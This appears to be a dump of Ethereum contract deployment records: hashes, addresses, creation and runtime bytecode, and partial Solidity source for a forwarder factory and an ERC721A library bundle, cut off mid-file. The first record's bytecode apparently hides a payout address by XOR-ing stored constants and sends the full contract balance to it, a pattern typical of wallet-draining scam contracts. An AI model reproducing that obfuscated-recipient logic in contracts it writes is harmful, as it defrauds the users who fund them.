1 | 19,493,894 | 398a30dbe7f930dd5e43b7976b7e9c55f5d08408b51082febab630ab70da8d6c | 1e508f00aeed0d245e4ae647d7648318ae4bafb7c9ecabbccf3008be36b3f2ba | 0704d0e137e48268d25923f629fd0d5642709279 | 0704d0e137e48268d25923f629fd0d5642709279 | 720cd532ab836c2aa8f449e13d1d21aa56fdb7c4 | 6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d36007557f6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd76008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103648061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030b565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b600060208284031215610304578081fd5b5035919050565b60008282101561032957634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220dd04a750178d403b9441501a192a6a76152a3f440bdf50a21da600f87df37d6a64736f6c63430008040033 | 6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030b565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b600060208284031215610304578081fd5b5035919050565b60008282101561032957634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220dd04a750178d403b9441501a192a6a76152a3f440bdf50a21da600f87df37d6a64736f6c63430008040033 | |
1 | 19,493,894 | 398a30dbe7f930dd5e43b7976b7e9c55f5d08408b51082febab630ab70da8d6c | 716515b5830b649e22e80229626bf051d8ebb6ce27ef15b80c649385773b19c1 | 00bdb5699745f5b860228c8f939abf1b9ae374ed | ffa397285ce46fb78c588a9e993286aac68c37cd | b6227e3c6d856b9050a5cef9dc8875a29ec2ec6a | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,895 | 77e5805872008e79a73ddbfcecdd3af1d1c8fa5f31993319288e94a360797267 | f17b2f89c0291f5436806b7c6f12c0f76174c639ab63c976fd453a50059b3cd0 | 000099b4a4d3ceb370d3a8a6235d24e07a8c0000 | ee2a0343e825b2e5981851299787a679ce08216d | b2b2cfe36917bdef7b4a3fdd3e1dc3f62e45f778 | 6080604052348015600f57600080fd5b50604051610211380380610211833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b61017b806100966000396000f3fe60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c634300081900330000000000000000000000008906668094934bbfd0f787010fac65d8438019f5 | 60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033 | |
1 | 19,493,897 | b70b6d6de38e63d21943142db5e239a2657187b42524ec1e723d0951b9816739 | 0afa8658982a7c777fb014d0b382aaca0c1c98997527714d88eba900b390e6c1 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 9a576bb0dfec31f051a28a97d4181a939219dfd0 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,897 | b70b6d6de38e63d21943142db5e239a2657187b42524ec1e723d0951b9816739 | 56487a8335469b054c414e1b619af55d4c15ed448baa1336ac2f8f33183fd33c | ad08d1181eb77f582d53761cc1fd7d77cb8297d9 | 000000008924d42d98026c656545c3c1fb3ad31c | f01b71445e8573906c2ac33f6df4b8440d50b018 | 3d602d80600a3d3981f3363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n 